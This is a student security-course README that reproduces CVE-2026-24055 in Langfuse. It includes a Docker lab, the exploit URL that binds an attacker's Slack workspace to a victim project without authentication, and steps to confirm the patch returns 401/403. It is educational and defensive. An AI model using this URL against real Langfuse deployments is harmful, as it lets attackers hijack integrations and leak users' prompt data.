CVE-2026-24055 — Unauthenticated Slack OAuth Install in Langfuse

Web and Application Security Course Project — Group 06, Class NT213.Q21.ANTT

Table of Contents

• Vulnerability Description
• System Requirements
• Prerequisites
• Exploitation Demo — Vulnerable v3.146.0
• Verify the Patch — Patched v3.147.0
• Shut Down Environment
• References

Vulnerability Description

CVE-2026-24055 is an Improper Access Control vulnerability in Langfuse from version 3.89.0 to 3.146.0.

The /api/public/slack/install endpoint does not require authentication, allowing an attacker to bind their Slack workspace to any project simply by knowing the projectId. When the victim creates an automation to send notifications to Slack, the entire prompt content is leaked to the attacker's workspace.

Attack Flow

System Requirements

Prerequisites

Create a Slack App

Slack API allows using http://localhost:3000 as the Redirect URL, no ngrok required.

1. Go to https://api.slack.com/apps → Create New App → From scratch
2. Name your app, choose a workspace
3. Go to OAuth & Permissions → Redirect URLs → add:
   root@kitploit:~

   http://localhost:3000
   

4. Save the Client ID and Client Secret

Exploitation Demo — Vulnerable v3.146

Step 1 — Configure Environment

cd vulnerable
cp .env.example .env

Open the .env file and fill in the following values:

NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string

Step 2 — Start Langfuse v3.146.0

docker compose up -d

Check that the containers are ready:

docker compose ps

Wait about 30–60 seconds. All containers should be in the Up (healthy) state.

Step 3 — Create Accounts

Visit http://localhost:3000:

1. Victim Account

   • Register an account, create an Organization → create a Project
   • Go to Settings → note the Project ID

2. Attacker Account

   • Open an incognito tab, register a different account (or do not log in)

Step 4 — Perform the Exploit

In the attacker's browser (no need to log in to Langfuse), visit:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

The flow proceeds:

• Server does not check authentication, redirects directly to Slack OAuth
• Log in to the attacker's Slack workspace → click Allow
• The attacker's workspace is now bound to the victim's project

Step 5 — Confirm Data Leakage

Log in with the victim account:

1. Go to Settings → Integrations → check that Slack is connected (attacker's workspace)
2. Create an Automation: Prompts → Automations → New
   • Trigger: Prompt created / updated / deleted
   • Action: Slack → select a channel
3. Victim creates a new prompt
4. Attacker's Slack receives a notification containing the prompt's metadata (name, version, labels, tags)

Verify the Patch — Patched v3.147

Step 1 — Shut down the old environment

cd ../vulnerable
docker compose down

Step 2 — Start Langfuse v3.147.0

cd ../patched
cp .env.example .env
# Fill in the same values as in the vulnerable part
docker compose up -d

Step 3 — Re-run the exploit

Try without logging in:

http://localhost:3000/api/public/slack/install?projectId=<any-project-id>

Expected result — HTTP 401:

{ "error": "Authentication required" }

Try logging in as attacker, using the victim's projectId:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

Expected result — HTTP 403:

{ "error": "You do not have permission to configure Slack for this project" }

The vulnerability is fully patched.

Shut Down Environment

docker compose down

If you want to delete all data (volumes):

docker compose down -v

Directory Structure

cve-2026-24055/
├── README.md                  ← this file
├── vulnerable/
│   ├── docker-compose.yml     ← Langfuse v3.146.0 (vulnerable)
│   └── .env.example
└── patched/
    ├── docker-compose.yml     ← Langfuse v3.147.0 (patched)
    └── .env.example

References

• GitHub Security Advisory — GHSA-pvq7-vvfj-p98x
• NVD — CVE-2026-24055
• Commit fix — 3adc89e